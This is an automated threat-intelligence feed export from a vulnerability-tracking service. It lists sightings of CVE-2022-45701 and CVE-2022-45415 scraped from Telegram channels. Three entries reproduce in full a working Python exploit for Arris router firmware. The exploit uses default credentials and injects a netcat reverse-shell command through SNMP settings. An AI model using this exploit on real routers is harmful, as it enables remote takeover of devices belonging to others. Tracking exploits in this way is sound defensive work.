https://vulnerability.circl.lu/sightings/feed 2026-09-17T12:06:57.867595+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/360612b3-584d-40b2-97b6-7e7fe8a10667/export 2026-09-17T12:06:57.885172+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "360612b3-584d-40b2-97b6-7e7fe8a10667", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "published-proof-of-concept", "source": "https://t.me/cissp/6615", "content": "exploit\n1. CVE-2022-45701:\nArris Router Firmware 9.1.103 - RCE\nhttps://packetstormsecurity.com/files/171001\n\n2. CVE-2022-37955:\nEoP via Arbitrary File Write/Overwite in Group Policy Client \"gpsvc\"\nhttps://decoder.cloud/2023/02/16/eop-via-arbitrary-file-write-overwite-in-group-policy-client-gpsvc-cve-2022-37955\n\n3. CVE-2022-44666:\nMS Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability\nhttps://github.com/j00sean/CVE-2022-44666\n\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.11.28", "creation_timestamp": "2026-09-11T00:00:54.609069Z"} 2026-09-11T00:00:54.609069+00:00 https://vulnerability.circl.lu/sighting/be4026ea-3860-4ffe-9995-a3b766ec81ff/export 2026-09-17T12:06:57.888446+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "be4026ea-3860-4ffe-9995-a3b766ec81ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "published-proof-of-concept", "source": "https://t.me/cissp/6615", "content": "exploit\n1. CVE-2022-45701:\nArris Router Firmware 9.1.103 - RCE\nhttps://packetstormsecurity.com/files/171001\n\n2. CVE-2022-37955:\nEoP via Arbitrary File Write/Overwite in Group Policy Client \"gpsvc\"\nhttps://decoder.cloud/2023/02/16/eop-via-arbitrary-file-write-overwite-in-group-policy-client-gpsvc-cve-2022-37955\n\n3. CVE-2022-44666:\nMS Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability\nhttps://github.com/j00sean/CVE-2022-44666\n\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.11.28", "creation_timestamp": "2026-09-10T03:00:05.034487Z"} 2026-09-10T03:00:05.034487+00:00 https://vulnerability.circl.lu/sighting/5e7c6cec-4ea0-409e-bc02-551ec098c718/export 2026-09-17T12:06:57.888606+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "5e7c6cec-4ea0-409e-bc02-551ec098c718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/90536", "content": "Exploit Collector\nArris Router Firmware 9.1.103 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png \nArris Router Firmware version 9.1.103 authenticated remote code execution exploit that has been tested against the TG2482A, TG2492, and SBG10 models.\n\nSHA-256 | c888a848e11678625335a5e6746925d5f7f030e21217d0ca2ec6555b03d7a881\n\nDownload\nc# Exploit Title: Arris Router Firmware 9.1.103 - Remote Code Execution (RCE) (Authenticated)\n# Date: 17/11/2022\n# Exploit Author: Yerodin Richards\n# Vendor Homepage: https://www.commscope.com/\n# Version: 9.1.103\n# Tested on: TG2482A, TG2492, SBG10\n# CVE : CVE-2022-45701\n\nimport requests\nimport base64\n\nrouter_host = \"http://192.168.0.1\"\nusername = \"admin\"\npassword = \"password\"\n\nlhost = \"192.168.0.6\"\nlport = 80\ndef main():\nprint(\"Authorizing...\")\ncookie = get_cookie(gen_header(username, password))\nif cookie == '':\nprint(\"Failed to authorize\")\nexit(-1)\nprint(\"Generating Payload...\")\npayload = gen_payload(lhost, lport)\nprint(\"Sending Payload...\")\nsend_payload(payload, cookie)\nprint(\"Done, check shell..\")\n\ndef gen_header(u, p):\nreturn base64.b64encode(f\"{u}:{p}\".encode(\"ascii\")).decode(\"ascii\")\n\ndef no_encode_params(params):\nreturn \"&\".join(\"%s=%s\" % (k,v) for k,v in params.items())\n\ndef get_cookie(header):\nurl = router_host+\"/login\"\nparams = no_encode_params({\"arg\":header, \"_n\":1})\nresp=requests.get(url, params=params)\nreturn resp.content.decode('UTF-8')\n\ndef set_oid(oid, cookie):\nurl = router_host+\"/snmpSet\"\nparams = no_encode_params({\"oid\":oid, \"_n\":1})\ncookies = {\"credential\":cookie}\nrequests.get(url, params=params, cookies=cookies)\n\ndef gen_payload(h, p):\nreturn f\"$\\(nc%20{h}%20{p}%20-e%20/bin/sh)\"\n\ndef send_payload(payload, cookie):\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.1.0=16;2;\", cookie)\nset_oid(f\"1.3.6.1.4.1.4115.1.20.1.1.7.2.0={payload};4;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.3.0=1;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.4.0=64;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.5.0=101;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.9.0=1;2;\", cookie)\nif __name__ == '__main__':\nmain()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-05T01:00:15.041048Z"} 2026-09-05T01:00:15.041048+00:00 https://vulnerability.circl.lu/sighting/a0a5093e-0c3a-4ad2-be52-d62f905318f3/export 2026-09-17T12:06:57.888743+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "a0a5093e-0c3a-4ad2-be52-d62f905318f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45415", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/85184", "content": "How Browser\u2019s Save As Feature might lead to Code Execution (CVE-2022\u201345415)\nhttps://infosecwriteups.com/how-browsers-save-as-feature-might-lead-to-code-execution-cve-2022-45415-ebaa8711692?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-05T00:00:10.655101Z"} 2026-09-05T00:00:10.655101+00:00 https://vulnerability.circl.lu/sighting/07351525-ea0c-4a54-96f5-60fb8df221aa/export 2026-09-17T12:06:57.888847+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "07351525-ea0c-4a54-96f5-60fb8df221aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45415", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/85186", "content": "Few days ago, while I was exploring browser based bugs, I read a article over internet explaining about a path traversal vulnerability in\u2026Continue reading on InfoSec Write-ups \u00bb (https://infosecwriteups.com/how-browsers-save-as-feature-might-lead-to-code-execution-cve-2022-45415-ebaa8711692?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-05T00:00:10.606694Z"} 2026-09-05T00:00:10.606694+00:00 https://vulnerability.circl.lu/sighting/3dd4da5a-cc75-4a49-8a80-95548a63a365/export 2026-09-17T12:06:57.888954+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "3dd4da5a-cc75-4a49-8a80-95548a63a365", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/90536", "content": "Exploit Collector\nArris Router Firmware 9.1.103 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png \nArris Router Firmware version 9.1.103 authenticated remote code execution exploit that has been tested against the TG2482A, TG2492, and SBG10 models.\n\nSHA-256 | c888a848e11678625335a5e6746925d5f7f030e21217d0ca2ec6555b03d7a881\n\nDownload\nc# Exploit Title: Arris Router Firmware 9.1.103 - Remote Code Execution (RCE) (Authenticated)\n# Date: 17/11/2022\n# Exploit Author: Yerodin Richards\n# Vendor Homepage: https://www.commscope.com/\n# Version: 9.1.103\n# Tested on: TG2482A, TG2492, SBG10\n# CVE : CVE-2022-45701\n\nimport requests\nimport base64\n\nrouter_host = \"http://192.168.0.1\"\nusername = \"admin\"\npassword = \"password\"\n\nlhost = \"192.168.0.6\"\nlport = 80\ndef main():\nprint(\"Authorizing...\")\ncookie = get_cookie(gen_header(username, password))\nif cookie == '':\nprint(\"Failed to authorize\")\nexit(-1)\nprint(\"Generating Payload...\")\npayload = gen_payload(lhost, lport)\nprint(\"Sending Payload...\")\nsend_payload(payload, cookie)\nprint(\"Done, check shell..\")\n\ndef gen_header(u, p):\nreturn base64.b64encode(f\"{u}:{p}\".encode(\"ascii\")).decode(\"ascii\")\n\ndef no_encode_params(params):\nreturn \"&\".join(\"%s=%s\" % (k,v) for k,v in params.items())\n\ndef get_cookie(header):\nurl = router_host+\"/login\"\nparams = no_encode_params({\"arg\":header, \"_n\":1})\nresp=requests.get(url, params=params)\nreturn resp.content.decode('UTF-8')\n\ndef set_oid(oid, cookie):\nurl = router_host+\"/snmpSet\"\nparams = no_encode_params({\"oid\":oid, \"_n\":1})\ncookies = {\"credential\":cookie}\nrequests.get(url, params=params, cookies=cookies)\n\ndef gen_payload(h, p):\nreturn f\"$\\(nc%20{h}%20{p}%20-e%20/bin/sh)\"\n\ndef send_payload(payload, cookie):\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.1.0=16;2;\", cookie)\nset_oid(f\"1.3.6.1.4.1.4115.1.20.1.1.7.2.0={payload};4;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.3.0=1;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.4.0=64;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.5.0=101;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.9.0=1;2;\", cookie)\nif __name__ == '__main__':\nmain()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-04T21:00:04.224794Z"} 2026-09-04T21:00:04.224794+00:00 https://vulnerability.circl.lu/sighting/15e58127-718f-48ed-8ce5-951dced7d190/export 2026-09-17T12:06:57.889075+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "15e58127-718f-48ed-8ce5-951dced7d190", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "seen", "source": "https://t.me/cissp/6615", "content": "exploit\n1. CVE-2022-45701:\nArris Router Firmware 9.1.103 - RCE\nhttps://packetstormsecurity.com/files/171001\n\n2. CVE-2022-37955:\nEoP via Arbitrary File Write/Overwite in Group Policy Client \"gpsvc\"\nhttps://decoder.cloud/2023/02/16/eop-via-arbitrary-file-write-overwite-in-group-policy-client-gpsvc-cve-2022-37955\n\n3. CVE-2022-44666:\nMS Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability\nhttps://github.com/j00sean/CVE-2022-44666\n\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.11.28", "creation_timestamp": "2026-09-02T01:04:03.144162Z"} 2026-09-02T01:04:03.144162+00:00 https://vulnerability.circl.lu/sighting/6da1bd47-88e6-4e97-b0dd-5c719684804c/export 2026-09-17T12:06:57.889173+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "6da1bd47-88e6-4e97-b0dd-5c719684804c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45415", "type": "seen", "source": "https://t.me/hacking_Attack/85186", "content": "Few days ago, while I was exploring browser based bugs, I read a article over internet explaining about a path traversal vulnerability in\u2026Continue reading on InfoSec Write-ups \u00bb (https://infosecwriteups.com/how-browsers-save-as-feature-might-lead-to-code-execution-cve-2022-45415-ebaa8711692?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:01:27.865864Z"} 2026-09-02T01:01:27.865864+00:00 https://vulnerability.circl.lu/sighting/39a1eb4f-b7d9-4fbd-a3d3-2c5bf0d3304e/export 2026-09-17T12:06:57.889270+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "39a1eb4f-b7d9-4fbd-a3d3-2c5bf0d3304e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45415", "type": "seen", "source": "https://t.me/hacking_Attack/85184", "content": "How Browser\u2019s Save As Feature might lead to Code Execution (CVE-2022\u201345415)\nhttps://infosecwriteups.com/how-browsers-save-as-feature-might-lead-to-code-execution-cve-2022-45415-ebaa8711692?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:01:27.817048Z"} 2026-09-02T01:01:27.817048+00:00 https://vulnerability.circl.lu/sighting/df8022bf-a68c-4824-a6a6-13134c4987ef/export 2026-09-17T12:06:57.889365+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "df8022bf-a68c-4824-a6a6-13134c4987ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "seen", "source": "https://t.me/hacking_Attack/90536", "content": "Exploit Collector\nArris Router Firmware 9.1.103 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png \nArris Router Firmware version 9.1.103 authenticated remote code execution exploit that has been tested against the TG2482A, TG2492, and SBG10 models.\n\nSHA-256 | c888a848e11678625335a5e6746925d5f7f030e21217d0ca2ec6555b03d7a881\n\nDownload\nc# Exploit Title: Arris Router Firmware 9.1.103 - Remote Code Execution (RCE) (Authenticated)\n# Date: 17/11/2022\n# Exploit Author: Yerodin Richards\n# Vendor Homepage: https://www.commscope.com/\n# Version: 9.1.103\n# Tested on: TG2482A, TG2492, SBG10\n# CVE : CVE-2022-45701\n\nimport requests\nimport base64\n\nrouter_host = \"http://192.168.0.1\"\nusername = \"admin\"\npassword = \"password\"\n\nlhost = \"192.168.0.6\"\nlport = 80\ndef main():\nprint(\"Authorizing...\")\ncookie = get_cookie(gen_header(username, password))\nif cookie == '':\nprint(\"Failed to authorize\")\nexit(-1)\nprint(\"Generating Payload...\")\npayload = gen_payload(lhost, lport)\nprint(\"Sending Payload...\")\nsend_payload(payload, cookie)\nprint(\"Done, check shell..\")\n\ndef gen_header(u, p):\nreturn base64.b64encode(f\"{u}:{p}\".encode(\"ascii\")).decode(\"ascii\")\n\ndef no_encode_params(params):\nreturn \"&\".join(\"%s=%s\" % (k,v) for k,v in params.items())\n\ndef get_cookie(header):\nurl = router_host+\"/login\"\nparams = no_encode_params({\"arg\":header, \"_n\":1})\nresp=requests.get(url, params=params)\nreturn resp.content.decode('UTF-8')\n\ndef set_oid(oid, cookie):\nurl = router_host+\"/snmpSet\"\nparams = no_encode_params({\"oid\":oid, \"_n\":1})\ncookies = {\"credential\":cookie}\nrequests.get(url, params=params, cookies=cookies)\n\ndef gen_payload(h, p):\nreturn f\"$\\(nc%20{h}%20{p}%20-e%20/bin/sh)\"\n\ndef send_payload(payload, cookie):\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.1.0=16;2;\", cookie)\nset_oid(f\"1.3.6.1.4.1.4115.1.20.1.1.7.2.0={payload};4;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.3.0=1;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.4.0=64;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.5.0=101;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.9.0=1;2;\", cookie)\nif __name__ == '__main__':\nmain()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:25.579831Z"} 2026-09-02T01:01:25.579831+00:00